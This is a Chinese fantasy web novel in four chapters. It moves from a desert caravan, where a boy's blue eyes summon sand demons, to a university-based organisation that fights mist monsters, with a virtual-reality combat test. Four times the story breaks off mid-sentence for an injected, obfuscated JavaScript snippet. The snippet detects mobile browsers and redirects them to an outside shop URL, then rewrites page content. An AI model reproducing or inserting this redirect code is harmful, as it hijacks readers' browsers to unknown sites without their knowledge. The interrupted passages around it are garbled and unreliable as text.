《物零社》 1. 楔子 “明天回中原。”王麋敲了敲矮桌。 偌大的帐篷里挤了七八个魁梧的汉子,只有一盏煤油灯在桌子上孤零零的燃着,发出一点微弱的光。外面起了沙尘暴,风卷着沙子一阵一阵地向这个看似弱不禁风的小帐篷袭来,帐篷可以清楚的听到沙子打到麻布上的声音。 王麋现在庆幸极了,自己还好没有贪图那一点小便宜,否则现在外面的狂风,就会要了他们的命。 汉子中的一个向他问:“老板,小公子还在外面放哨呢,是不是让他也进来?” 王麋点了点头,向外面招呼了一声。 “麇儿,进来罢。” 这一声招呼出去,外面的沙尘好像就停了,风声也消失了。 少年悠悠走了进来,十一二岁的年纪,精干的粗布麻衣,深黑色长发简练的束在脑后。 他的手里拿着什么东西,修长的手指间夹着一本纸页泛黄的书。 “你……在外面看书!?”王麋吓了一跳,现在三更半夜,就算没有那狂猛的沙尘暴,也绝对看不清书上的一个字啊。 少年木讷地点了点头,“《山海经》,还有五页就看完了。” “小公子好兴致!”一个大汉笑道:“如今我们在这沙漠腹地,能不能活着回到中原都未可知,您居然还有这份雅致来看书,真是天生的才子!” 他这一番话不知到底是什么意思,夸奖还是嘲讽。 王麋沉默了,他十几岁开始就在外独自一人打拼,靠着一身的武艺自立门户,如今年纪大了,就要寻个人继承家业,可是……可是这孩子怎么生得一副文弱书生的模样,他这偌大的家业,总不能交到外人的手里面啊! 少年不管王糜在想什么,他拿着书往外走去:“我去放哨了。” “等等。”王麋突然叫住了他:“外面是黑夜,那么大沙暴,你是怎么看书的?” 少年疑惑道:“外面?外面没有沙暴啊,今天的月亮特别圆,很亮。” “这倒是稀罕事。”角落里突然传来一生轻笑,只见一人怀中抱剑,自黑暗里缓步而来,烛火将他笼罩住,这才看清楚面庞。 “我们方才在帐中,虽然看不见,但那狂烈的风声和那股子劲……”他停顿了一下,说:“该不会是幻觉吧?” “小公子此时却说外面风平浪静,难道是要跟我们开玩笑?” 少年瞥了他一眼,默不作声。 此人身在沙漠之中,却身着了一件白色长袍,白袍上也是毫无污秽,颇有仙风道骨之感。 “张道长,在下并没有说谎。”少年沉默后突然开口,“若是不信,道长自行到帐外看一下即可。” 张岭柒,王麋此行专门请来的道士,既然早听闻了大漠里有妖怪的存在,这趟商路之行,他必然要做到万无一失的准备。 于是他花大价钱请来了张岭柒,皂竹观的道士,都是有斤两的人物。 王糜在之前就在全长安打探完了这条商路的情报,穿越大漠的路线自己来来回回研究了不下十遍,然而现在还是被阻碍在了中央,恐有妖物作祟。 所以当张岭柒站出来时,王糜是很高兴的。虽说人家是自己花钱请来的人,但是张岭柒在皂竹观里的地位本就超然,绕是这样,他也不敢去要求张岭柒做什么事。张岭柒如今自己站了出来,哪怕质问的是他的儿子,王糜也乐的高兴。 然而这些少年都不在意,他想做的,只是赶紧找个清静的地方,把剩下的几页看完。 张岭柒是高人,心中本就有一股子傲气,不出手则已,一出手那便要完美的展现自己高超的本领。而如今自己的话却被一个十六七岁的小孩子无视了,叫他如何放的下颜面? 少年走出了帐篷,张岭柒一挥手,一阵风就掀起了帐篷的幕帘,一束皎洁的月光刹那间照明了整个帐篷! 这是…… 张岭柒心中大惊,连忙追了出去。王糜也是惊呆了,带着一帮子手下也是出了帐篷。 幕帘之外,哪里有什么沙尘风暴! 只见一轮蓝色的皎月挂在空中,四周全被蓝色的月光笼罩,明亮如白日。漆黑的夜空更是一片空旷,连一朵云彩都没有,只有那轮如脸盆般大的月亮嵌在黑布之中。 少年仿佛站在蓝色明月的正下方,眼眸中映射着月光,瞳仁都像是变成了蓝色。 “妖气……”张岭柒自顾自的喃喃道,突然大喝一声:“此地妖气太过强烈,所有人都退回帐里去!” “什么!”王糜顿时慌乱了,眼前如此难得一见的美景,怎么会有妖物!可是张岭柒的话是多么权威,他说出的话,从来没有错过! 王糜再三纠结,还是选择了相信高人,他大声下令:“退!” 一群手下早就被张岭柒的气势所镇,王糜一下令,立刻如流水一般,连忙往帐篷里冲! 慌乱之中,王糜瞥见了少年。少年站在月亮下方,一动不动。 他急了,连忙喊到:“麇儿,快回来!” 可少年并没有回话,他的衣襟无风自动,但不过一会儿,以他站的位置位中心,四周卷着沙砾,掀起了狂暴的风! 少年眼中的蓝色,也越来越明亮,越来越纯粹,像是一颗湛蓝色的宝石,散发出了令人难以离开眼神的美丽的蓝光。 王糜这才意识到少年眼中的蓝不是因为月光的映衬,而是真真切切的变成了蓝色! 少年好像没有意识到自己身上发生的变化,王糜之前唤他的那一声让他梦中惊醒,他急忙往帐篷这边跑过来。却见张岭柒抽出了长剑,剑身发出一声清鸣,剑刃折射着锐利的剑光。 张岭柒的长剑是一件极品,是皂竹观的宝物,在妖物身上轻轻的划一下,效果相当于上品符咒的百十倍。 他持着长剑横在路中央,正好挡住少年的去路。 “先生做甚?”少年一顿,怒目而视。 张岭柒不理他,反而转头向王糜问道:“小公子被妖怪附了身,王老板还要救他吗?” “什么!” 王糜心中本就有这样的猜疑,但现在被明确告知,还是不愿意相信。 但不管他相信与否,那双异于常人的晶蓝色双眸,说明了一切。 “我在问一遍。”张岭柒重复道:“你救他吗?” 王糜还没有回话,但少年抑制了依旧的怒火却爆发了:“你胡说什么!我们这一路上连妖怪的影子都没看到,你凭什么说我被附身。我看你才是江湖上那些靠着三脚猫功夫骗钱的不入流道士!” 他越说越气愤:“什么皂竹观的道士,恐怕也就是拿来骗人的噱头罢了,什么张岭柒,这名字听都没听过!” “你……”张岭柒气愤至极,他从小就被道观里的长辈们千万般呵护着,那里被人这般指着鼻子骂!再说他的名声不响亮,也是因为皂竹观的雪藏,他天生有超过旁人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101169|195718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三倍的灵力,从小就一直在道观里修炼,等着有朝一日带领皂竹观打出更大的名声。这是他第一次外出试炼,一路上也帮这伙商队避免了很多麻烦,谁知道这小子三言两语就否定了他这一路的努力! 可少年话音刚落,弹指之间,异变突生。 风暴顿时强烈了好多,王糜刚跑进帐篷,一阵妖风袭来,帐篷直接被吹飞到了空中! 他们脚下的沙子开始流动,马上形成一个漩涡,他们的脚被绞在漩涡中,身子不停地往下陷,确实不能动弹哪怕一步! “张道长!救我们!”王糜惊恐万分,他还有庞大的家产没有挥霍,他还有梦想中的安逸生活没有过过,他现在还不想死! 张岭柒也慌了,但他惊异的发现,自己竟然动弹不得,明明没有陷入流沙,但就是有无数的力量缠绕着他的四肢,使他无法做任何动作。 “沙妖……” 附近传来“嘻嘻嘻”的笑声,地上的沙子浮在了空中,结成了人类的形状,它们没有五官,只有模糊的人类框架,沙砾间摩擦发出奇怪而又尖锐的声音。 沙妖是一种比较低级的妖怪了,对于张岭柒来说,杀这种妖怪就更砍纸片一样轻松。可是他们今天遇到的沙妖,却无比的强大。 为什么会这样!? 终于,他注意到了少年。 少年站在他前面的不远处,一直沉默着,沙砾从他身边飞过,却一丝没有触碰到他的身体。 张岭柒这才意识到,少年根本不是被妖怪附身,而是他本身就不是人类。 少年此时陷入在混沌之中,他的目光所及,大部分都成了虚影,只有蓝色的明月,无比明亮。 他眨了眨眼睛,发现月亮不像月亮了,像是一颗蓝色的宝石,镶嵌在一座奇怪建筑的顶部。 那是一座很奇怪的建筑,蓝白相间,它的顶都是尖的,左右两边好像是对称的,宝石镶在它正中央的塔尖的地方,周围刻着看不懂的文字。 不一会儿,眼前又模糊起来,再次清楚,蓝白相间的建筑消失了,他又看到了那些陷在漩涡中的人。 张岭柒不知何时已经消失了,地下只留下了那柄长剑,被流沙一点点的吞噬。 王糜在不远处,被流沙卷入了大半个身体,只有头和一支胳膊露在外面。 王糜看到少年在看他,他向少年奋力伸出那只手,竭力喊到:“麇儿!救我!” 那是他父亲,一直高高在上的父亲,如今父亲仰视着他,将他视为最后一根救命稻草。 他此时已经不能控制自己了,但他听到自己口中说出了威严的话,向这群妖怪们下达指令。 “你们吃了吧。” 沙子们欢呼雀跃,它们癫狂的笑着,咆哮着,一齐涌了上去。 父亲盯着他蓝色的眼睛,他可以看到男人眼中的陌生与恐惧。 父亲喊出里了那一句让它永生铭记的话,对,他要铭记这句话,这句话把它从一个虚伪的漩涡里彻底的拽了出来。 “麇,你还是人吗!” 不知过了多久,天亮了,他全身脱力,瘫倒在了黄色的沙子上。 他不知过了多久,只觉得视线开始模糊,声音不断减弱,所有的感知在离他远去。 他面朝着金灿的太阳,闭上了眼睛。 …… …… “喂!” “沙漠里有个人!” 2. 废墟 10月中旬,这正是申海最好的季节。夏季的炎热已经渐渐退去,温和的秋风吹来凉爽,主城的街道上人来人往,除了居住在当地的人以外还有很多游客,整座城市十分的繁忙。但在边缘一点的地方,似乎有种别样的“热闹”。 城市的郊区,这里正在进行一个房地产项目,开发商花大价钱买了地皮,疏通了各种关系,准备在这里建设一个设施完备的产业园区,并期望能够通过产业园的建设带动这块郊区的整体发展。这样的项目,自然也是获得了很多方面的支持。 按理来说,这个项目一年前就该结束了。 可是到现在,看似新建的崭新的楼宇中,却空无一人,甚至连负责的建筑工人都不敢入内。这栋楼是之前搭建好的,明明已经做好了各方面的检验,却在一个夜晚悄无声息地塌陷两层,开发商随后派工人去重建,但重建过程中意外环生,甚至好几次威胁到工人的生命安全,于是这块地的项目就此被搁置许久。 “大师,大师您一定帮我好好看看。” 开发商领着一个蓄着羊须胡子的瘦弱老人,老人穿着一身宽松的灰青色衣服,版式有些奇怪,不像是现代服装,反而像古代神棍的道袍。开发商跟在老人后面,脸上堆满的笑容掩盖不住底下的焦躁。 “大师,您看我这地方是不是有什么邪祟作乱啊,你能不能帮我……”开发商五指并拢,似是刀的样子在空气中比划了几下:“帮我把这脏东西清理掉啊。” 被称作“大师”的老人明显稳重许多,他捋捋自己的胡子道:“莫慌,老夫先看看。” 只见这老者上前两步,大手一挥,闭目凝神,口中念念有词。此时,所有人的衣摆无风自动,都朝着那栋诡异的楼宇中飘动。 老者身形微微一顿,一脚向前踏出重重一步,原本紧闭的双眼突然怒目圆睁! 顷刻间,狂风大作! 开发商在狂风中用双臂挡在脸前,试图抵挡这暴戾的飓风,手臂的缝隙之间,他仿佛看见那栋有问题的空楼飘出来些黑色的雾气,但转眼间便消散无踪。 老者此时也有些吃力地站在风中,但他显然看见了一些开发商看不见的东西,他转身冲着开发商喊道:“跑!快跑!” 开发商一愣,旋即撒腿快跑,老者紧跟在他的身后,不一会儿就跑出几百米远,而离远后,那可怕的大风也马上消失了。 “大师,这是……” “这东西我处理不了。”老者摆了摆手。 开发商闻言,都要给跪下了:“您处理不了,那我们怎么办啊,您那有没有其他高人能处理的?钱都好说,钱都好说啊!” 此时的开发商,多少有些心灰意冷,这大师已经是他通过多方关系找到的顶尖道士,如今大师都束手无策,其他人能有什么法子?难道这耗资巨大的项目只能如此荒废吗? “有,还有办法。”出乎意料的,老者居然真的还有处理方法,“你去找专业的吧,我给你留个名字和电话。” 话罢,老者麻利地掏出纸笔,留了几个字和一串数字,递给开发商。 “物零社?”开发商看着纸上的名字,多少有些疑惑,这名字怎么看都不像是处理这种邪祟东西的组织。 “没错,你联系他们吧。”老者捋着胡须,仰头望天:“老夫终究还是老了啊。” 开发商没有别的办法,他只能拨通了老者给的电话,联系了那个名为“物零社”的组织。 电话那边是一个标准的甜美客服女声:“你好?这里是物零社,请问有什么可以帮您?” 开发商莫名感觉对面多少有点不靠谱,但他没别的法子,只能选择相信,于是他一五一十的说了此事,然后开始等待对面的反馈。 “稍等哈,我问下领导那边,你先别挂电话。”客服那大概安静了三四分钟,很快给了回话:“你这边什么时候有时间?我让学生、不是,让我们这的专业人士去一趟。” 所以,黎子鸣今天来到了这个地方。 【背景介绍结束。】 【场景加载中……】 【场景加载结束。】 【AI模型加载中……】 【AI模型加载结束。】 【主控模型构建中……】 【主控模型构建结束。】 【主要任务(评分占比60%):消灭地图中的所有魑魅。】 【次要任务(评分占比30%):在身体受损程度≤30%的基础上,受损占比越小,此项评分越高。】 【支线任务(评分占比10%):探明魑魅产生的原因。】 【支线任务已完成。】 【请测试者做好操作准备,测试开始。】 “这个支线任务有存在的必要吗?这个事件的整体发展都已经作为案例在课上讲过了……”穿着藏蓝色运动服的男生在心里暗暗吐槽了一句。 “您好您好,就您一个人吗?”开发商上下打量着黎子鸣,面前的年轻人看着不过20岁出头,背着一个长条形的单肩包,怎么都不像是靠谱的样子,但他们现在也只能仰仗这位,所以终归还是先好声好气地伺候上。 但年轻人的态度显然没那么好,他直接无视前来迎接的开发商,径直走向委托中有问题的那栋楼。 “黎子鸣,”耳机里的声音叫住他,“别无视,回答一下人家的话。” “这需要回吗?”他有些疑惑,但还是先停下了脚步,“不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101170|195718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是npc吗,没必要浪费时间吧,这次目标主要是战斗测试。” “对话一下,AI性能也是我们的测试条目之一。” 开发商眼中没礼貌的年轻人转过头,答复了他之前的话:“对,就我一个人。” “不好意思,我再问一下,您那边是……?” “物零社,专业公司专门处理这种问题,不用顾虑。” 听到这个名字,开发商明显楞了一下:“我以为会是什么道士之类的……” “没那么玄乎,这东西不是那种神啊鬼啊的东西,你可以把它看作一种特别的‘生物’。” “这,这样啊……”很明显,这已经触及开发商的认知盲区了。 此时,耳机那边也传来了声音:“可以了,AI数据够了,继续进行吧。” 闻言,黎子鸣也没多和开发商纠缠,继续之前的路线径直朝那栋有问题的建筑走去,而他刚走进没两步,这栋建筑的问题就凸显出来了。 或许是感知到了他身上的灵力,本来看上去毫无异常的建筑突然从各个缝隙中散发出浓烈的黑雾,黑雾逐渐在上空凝结,形成了一个球体,随后这个巨大的球体的表面突然睁开无数只巨大的眼睛,并开始从中探出类似于章鱼触手的肢体,如鞭子一样的直接向黎子鸣这边攻击过来。 黎子鸣一边闪身轻而易举地躲过这来势汹汹的攻击,一边朝着耳机那边骂了句脏话:“靠!你们没搞错吧,这种扭曲的玩意儿现实里真的会有吗!” “淡定点,美术方面的AI还不太成熟,这种现象正常,后续我们再导入一些资料完善一下。”耳机声停了一下,又小声补充了一句,“今天实验室里有校长、还有邀请的外国顾问,你说话稍微注意点。” “好吧、好吧,那就赶紧……”黎子鸣瞅了一眼眼前肢体乱舞的奇形怪状的玩意,不忍再看,又里立马把视线挪开了。他打开身后的背包,背包似乎有一定的重量,那也是当然,因为打开后里面赫然放着数把兵器,刀枪剑戟,样样齐全。 此时,那怪物的第二波攻击也来了,依旧是狂乱挥舞的触手,只不过不同于一开始做试探的那一条,而是数条触手从不同的方向同时袭来。 只见黎子鸣从背包里随意挑拣了一柄长剑,手持剑柄在空中打了个剑花,白色的灵力轰然溢出,随着剑刃舞动的轨迹成倍扩大斩出,仅一个瞬间就让那怪物的攻击化为乌有。随后,长剑的剑身从剑尖开始出现裂痕,飞速蔓延至全部剑身,随后化为了无数碎片落地。 黎子鸣好像也没在意这种事情,很熟练的从包里抽出了另一把全新的武器。 他还在碎碎念着:“赶紧收拾掉,这玩意再看几眼san值都要没了。” 3. 系统 物零社,正如黎子鸣所说的,是一个专业处理此类超自然事件的组织。 其实也不算处理所谓的“超自然”,他们专攻的是这种似乎由层层黑雾组成的怪物。在业内,这种怪物被称为“魑魅”,取自古代妖怪之中的“魑魅魍魉”,据说前人见过真正的妖怪,并如此为它们命名,但现如今已经没人知道是否真正存在所谓的魑魅魍魉了。但不可置疑的是,面前这种被后人称为魑魅的怪物,确实还存在于世间。 而物零社的主要工作,就是把这些危及到普通人类生活的魑魅一一清除。 至于其他的超自然事件,比如外星人什么的,那应该交给走近科学去解决。 除此之外还值得一提的是,物零社其实是从培训到就业一体的机构,其真身隐藏在申海市某双一流大学之内,有着特殊的入学制度、特殊的考核制度,当然也会为特殊专业毕业的学生提供特殊的就业岗位……这些后续再表也来得及。 而现在的物零社实验室中,正在进行一项重要的实验。 夏峰,物零社的社长、兼学校的校长,正在热情的招待所谓的外国顾问。他一边笑嘻嘻地跟人家谈话,一边招呼旁边正在做数据统计的女学生:“欣予,你来给外宾介绍一下我们这个项目。” 被叫“欣予”的女生,全名是“林欣予”,也是刚刚那个耳机里声音的所有者。女生外面穿着实验室标配的白大褂,里面是普通的白衬衫和牛仔裤。她放下手里正在统计的数据,转头开始向那位所谓的外国顾问介绍:“您经常看电影吗?” 这句话让蓝色眼睛的外国顾问愣了一下,他似乎没想到女生居然是先问了一个问题:“不算经常,但热门电影基本都看过。” 这位顾问的中文倒还算是标准。 林欣予接着往下说:“现在这个项目就有点像电影里经常看到的那种,我们的装置可以把人的意识提取出来,放入一个虚拟的环境之中进行活动,并且能够通过参数调整,让使用者的感官接触到和现实相同的各种刺激。” “项目现在已经接近成熟,本次实验算是一次整体性能的测试,如果顺利的话,这项技术将运用于学生未来的学习和训练之中。” 林欣予顿了一下,接着说:“毕竟您应该也清楚,魑魅的数量其实并没有那么多,许多学生从开始接触这行直到他们退休,可能都看不见魑魅的影子,但如果真的在现实里遇到,危险往往是致命的。” 这段话说出来的时候,在显示屏里面,黎子鸣已经拿着几把大刀砍瓜切菜般的削去了那触手怪物的大半个身体。 很明显,那位外国顾问的视线一直盯着那边,这个画面配上林欣予那段话,多少有点滑稽。 “咳、咳咳……”林欣予尴尬地假咳了几声:“不用参考他的水平,他是个特例,大部分学生的战斗水平比不上他的十分之一。” 校长此时也察觉到了有些尴尬的气氛,他朝着外国顾问打哈哈,想着先把人从实验室里带出去:“啊,这个项目大概就这个情况,您跟我来,我给您介绍一下零社的其他部门。” 半推半搡着,校长把人带出去了。屏幕里黎子鸣还在像切菜一样地砍着虚拟怪物的肢体,林欣予抱着满腹不满只能向同在实验室里的另一个学生抱怨。 “校长到底是怎么想的,请一个外国人来,他没搞错吧?业内谁不知道魑魅一直只在东亚的范围出现,请外国专家顾问请个日本的我也不说什么,他找个美国人,现在还要我们伺候着,他没搞错吧!” 摊在旁边的男生名叫苏佑容,进实验室以来一直都懒散地靠在椅子上,没怎么说话,现在他似乎对林欣予眼中校长的无语操作也没什么看法:“人家也不算是美国人,听说是中国人和荷兰人的混血,小时候在中国生活过一段时间,现在是美国的国籍罢了。” 很显然,这也不是林欣予抱怨的重点。 看着还在愤愤不平的林欣予,苏佑容又加了几句:“想开一点好了,我们又不能干涉校长的想法,他找这个人肯定有他的理由,而且感觉是想把那人长期留在零社里面,说不定今天还叫人家顾问,明天就会变成哪门课程的老师。” 虽然屏幕外的两人已经开始满不在乎地聊天,但屏幕里的情况似乎不容乐观。 就在刚才,黎子鸣用碎了他背包里的最后一把常规武器,他本以为这最后一击可以把这只奇形怪状的魑魅彻底消灭,但他的判断失误了。 充斥着灵力的斩击撕裂了魑魅四分之三的球状身体,但那余下的四分之一成了它反击的机会。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101171|195718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 无数的尖刺从裂口中迅速伸出,旋即脱落,以超高的速度朝着黎子鸣的方向攻击,而此时,他手上武器的刀刃正在慢慢崩解。但好在的是这把刀还没有完全解体,他只能尝试举起武器防御,好消息是这有效果,坏消息是效果不多。 他用这把马上就要碎裂的武器抵御住了大部分攻击,但终究还是有点勉强,最后的一根尖刺从下向上,以一个刁钻的角落向他袭来,黎子鸣努力躲闪,但这根尖刺还是从他的左肩穿了过去。 疼痛,这也是许多除魅师在面对魑魅时,最终身死的原因。 在刚刚毕业开始正式面对这些超自然生物的时候,许多除魅师都拥有着超乎常人的自信。这也不难理解,歹徒拿着具有杀伤力的枪械造成无数人的死亡,这是新闻里经常能看到的。但在公共信息里看不见的魑魅,人们很难对它们有一个确切的了解,这点也包括被保护在温室里长大的新人除魅师们。他们在灵力的作用下已经拥有了远超常人的身体素质,又怎会惧怕一个只存在于听闻中的生物? 所以有一部分除魅师,在见到魑魅的时候,被其恐怖的外观所吓,选择拔腿逃跑;还有一部分除魅师,心里觉得自己厉害,勇敢的上前迎敌,往往在一次并不致命的受伤过后,因为常人不会遇到的疼痛而彻底丧失战斗能力,成为牺牲名单上的一个名字。 这也是为什么,所有老师都会不断的告诉学生,如果遇到魑魅你应该先逃跑去找有经验的人来,然后一起处理;同时也是学校花费时间与精力开发这样一套模拟系统的原因,因为他们见了太多的学生因此而亡。 在这样的目的下,系统里的痛觉传感设定自然是1:1的,而且这件事事先没有告诉黎子鸣,如果提前告诉他,他绝对不会一下子陷入到“生命危险”里面。 左肩的伤口并不大,那根尖刺以偷袭为目的,直径不宽,但造成的仍然是贯穿伤,而且打穿了他肩部的骨骼。现在他的左臂已经完全不能活动,剧烈的疼痛还在一阵一阵发作,影响着他的其他动作。 但最糟糕的是,他包里的武器用完了。 “没搞错吧,用零器可是要写很长的报告的啊……不过虚拟测试中可能不用?” 不论如何,他似乎都得动用这最后的杀手锏了。 4. 零器 “他要用零器了。”林欣予看着屏幕里的画面,魑魅仍然还有很强的攻击性,而黎子鸣已经用完了武器,眼下看来,他的选择只有使用零器,“幸好校长他们走了,不然肯定要写报告……” 话音未落,她转头看见校长带着那位外国顾问又回到了这间实验室。 乌鸦嘴了,林欣予内心万马狂奔,幸好自己刚刚那句话只是嘀咕,没多大声音,不然估计得挨训了。不过刚才明明已经离开的两人,怎么又会突然回来? 似乎是看出她的疑惑,外国顾问不好意思地笑笑说:“是我好奇,我挺想知道这个剧本的全貌,所以我说再回来看看……但我这下好像看到了些不得了的东西。” 屏幕里,黎子鸣从腰上的绑带后方抽出了一把银色的短刀,刀鞘上刻画着繁杂的花纹,而刀柄则胜似一朵盛开的花。在他拿出这把刀的瞬间,周围的空气仿佛都浓稠了,磅礴的灵力不断四溢而出。 “没想到,贵校居然会把零器给一个还在上学的学生用——哪怕这只是模拟作战。” 校长在一旁笑着打哈哈:“没有没有,这也因为是模拟作战嘛,零器这种战略资源,我们自然也不可能随便给学生使用。” 很明显,黎子鸣使用零器也好,这幅场景被这位外国顾问看到也好,多少都在校长的计划之外。虽然他暂且给出这样的说辞,但这话有几分可信,在场的人自然都有自己心里的一把尺子。 林欣予这会儿才开始认真审视这位所谓的外国顾问,男人看上去二十五六岁的年纪,暗红色的头发,湛蓝色的瞳孔,都昭示着这位身上不同于亚洲人的血统。不过,现在看来这位顾问似乎有被邀请过来的资质,隔着屏幕一眼就能认定黎子鸣现在手中拿的是零器,至少证明这位在现实中一定是见过零器的。 见过在业内被称为“灵力核弹”的零器,定然不会是什么等闲之辈。 “校长真是说笑了,”红发蓝眼的外国人说道:“能够发挥出零器的威力,肯定不会是什么普通的‘学生’,而且在我之前看到的一点转播里,你们这位学生可算不上什么正常人。” 这番话旁人听了可能会一头雾水,但现在在场的教师也好,学生也罢,大家都知道是什么意思,黎子鸣的异常在物零社中早就不是什么秘密,其中最明显的就是,在他手中的“一次性”武器。 魑魅没有实体,物理攻击对其无效,只有灵力能对其产生伤害,而给灵力施加攻击性的媒介,就是所谓的“附魔器”。附魔师通过对普通的金属武器进行附魔,使之能够承载灵力,并且增幅灵力,这就是最基础的附魔器。 附魔器在设计上,是可以多次使用的,并且在长久的使用中还会不断跟随使用者进化,是具有灵性的武器。 这种武器在黎子鸣手中变成“一次性”的原因也很简单,它们无法承载黎子鸣的灵力。黎子鸣的灵力极其庞大,已经完全超出了普通附魔器的承受范围,而他自己目前明显不懂得如何精细地控制自己的灵力,这就导致那些普通的附魔器在他的手里,仅仅使用一次就会因为“超载”而崩坏。 这里就不得不提到前文所言的“零器”。零器是从古代流传下的遗物,其与现今附魔器最大的区别就在承载和增幅灵力的量上。 用浅显易懂的方式打个比方,普通附魔器能够承载的灵力是一碗水,并且能够将其增幅为一盆水泼出去,而零器能承载的则是一个水塘,最终能将其增幅为一片湖泊。 也正因如此,零器以其威力和稀有度拥有了“核弹”的名号。 但庞大的承载量也代表了一个问题,现在的大多的除魅师,无法提供足够零器运转的灵力能源。 黎子鸣天生的体质,无疑是零器最好的使用者。这二者之间唯一的问题是,没有人敢把这种带有“古董”性质的珍贵宝物给一个还没毕业的学生使用。可能正如校长所言,只因为是模拟测试,所以才敢把零器的数据编写进去。 黎子鸣的异常显而易见,校长也没想瞒着这位顾问,紧着要点大概解释说明了一下,大家都是业内人,三言两语间自然也能了解个大概。 屏幕里转播的测试画面,战斗已然进入白热化阶段,。 在黎子鸣拿出零器的那一刹那,原本攻势凶猛的球状魑魅僵住,好像也被这充斥着灵力的空气给彻底压制,球体微微颤抖,但丝毫没有要逃走的意思。 “这也算是程序逻辑的遗漏之处吧,现实情况下,这时候魑魅应该已经要逃了。”他默默记下了这个可以改良的地方,随后抽出了那柄短刀。 白光、刺眼的白光覆盖了这个虚拟世界,众人的目光也都被吸引过去,他们都知道,这是使用零器才能产生的灵力浓度。耀眼的白光持续几秒,丝毫没有黯淡的意思,然而就在这白光的缝隙之间,不断有属于魑魅的黑雾溢散,但这溢散并不是毫无规则的,散出的黑雾又渐渐凝结,形成了一个又一个正在痛苦呐喊的人类面庞。 林欣予从文件夹里抽出了一张纸,递给那因为好奇剧情而折返的外国顾问:“你不是好奇剧本吗?这就是,这也是我们真实经手过的事件,多少算是个悲哀的故事。” “这片地以前是农民的耕地,有一个小村落,都是些从古代就居住在这的人,躲过了饥荒,躲过了战争,但最后没躲过拆迁。 开发商买了这块地做项目、盖房子,要这片土地上的原住户都搬走,补偿给的到是还行,但也不支持这些人在离那里最近的申海市定居。开发商用了几个月时间,央求也好威胁也罢,把大部分人都弄走了。但还剩下五户人家,说什么都不肯走。这些人用的理由也奇怪,他们说不是钱的问题,而是他们世代在这里镇,不能走。 那会儿的开发商还不信这些,软硬兼施用了很多法子,但就是没把人弄走。没办法,他打听到里面有户人家周末要带老人进市里看病,就打算趁没人的时候直接把人房子推了,后续给钱补偿即可。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101172|195718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但没想到的是,那户人那天不知道为什么并没有去医院,开发商不知道这件事,农村房子建得也并不牢固,拆房子的把房子推倒,把人埋在了下边。 开发商赔了不少钱,走了不少关系,免了牢狱之灾。其他几户钉子户看到有一家不在,十分匆忙地连夜搬走。开发商顾不上管那么多,赶紧在这块地加紧施工,结果后续的施工怪事频出。 现在我们知道,那几家人在那里镇压的,恐怕就是这只体型不小的魑魅,魑魅没了束缚,又出了人命,一下子变得壮大,最后又在工地上杀了几个人,那边才找上物零社。” 屏幕里的白光仍在闪烁,吞噬着那些溢散的黑雾,那一幅幅惊恐的面庞,似乎也在这白光的沐浴中逐渐变得安详。 画面再次清晰时,黎子鸣的面前早已空无一物,他手上的那柄短刀也没有像之前的武器一样破碎,而是完好如初。 “测试结束。”林欣予输入了语音结束指令。计算机开始飞速运转,复杂的数据在显示屏上一一呈现,并还在不断的增加之中。 校长叫了叫那位外国顾问:“谢尔塔斯先生,这边系统运算完到测试者脱出,大概需要十多分钟的时间,我这边后面还有事,要不先给您介绍完这边的情况,再由我们这的学生主席带您来认识这些优秀的人才?” “当然没问题。”对面也答应得十分爽快,跟着校长离开了实验室。 这下,实验室里的两个学生才松了一口气。 “吓死我了,幸好程序没崩。”苏佑容,作为拟真系统的主要编写者之一,他是最害怕的。因为这系统中第一次导入零器的数据,没人知道系统能不能撑住这样庞大的运算。 此时,林欣予正目不转睛地盯着屏幕上正在运算显示的各项数据,其中她最关注的,就是附魔器的损坏数据:“你们的系统挺强的,分析的数据也很有可以研究的地方。” 远不用十分钟,仅仅四五分钟过后,模拟舱的舱门就打开了,穿着普通休闲装的男生这才慢慢摘下戴在头上的仪器。 “你们太离谱了,”黎子鸣心有余悸地揉了揉刚才左肩受伤的地方:“系统是不是不仅没有削弱痛觉,反而加强了一部分?我到现在左手还不太能活动。” 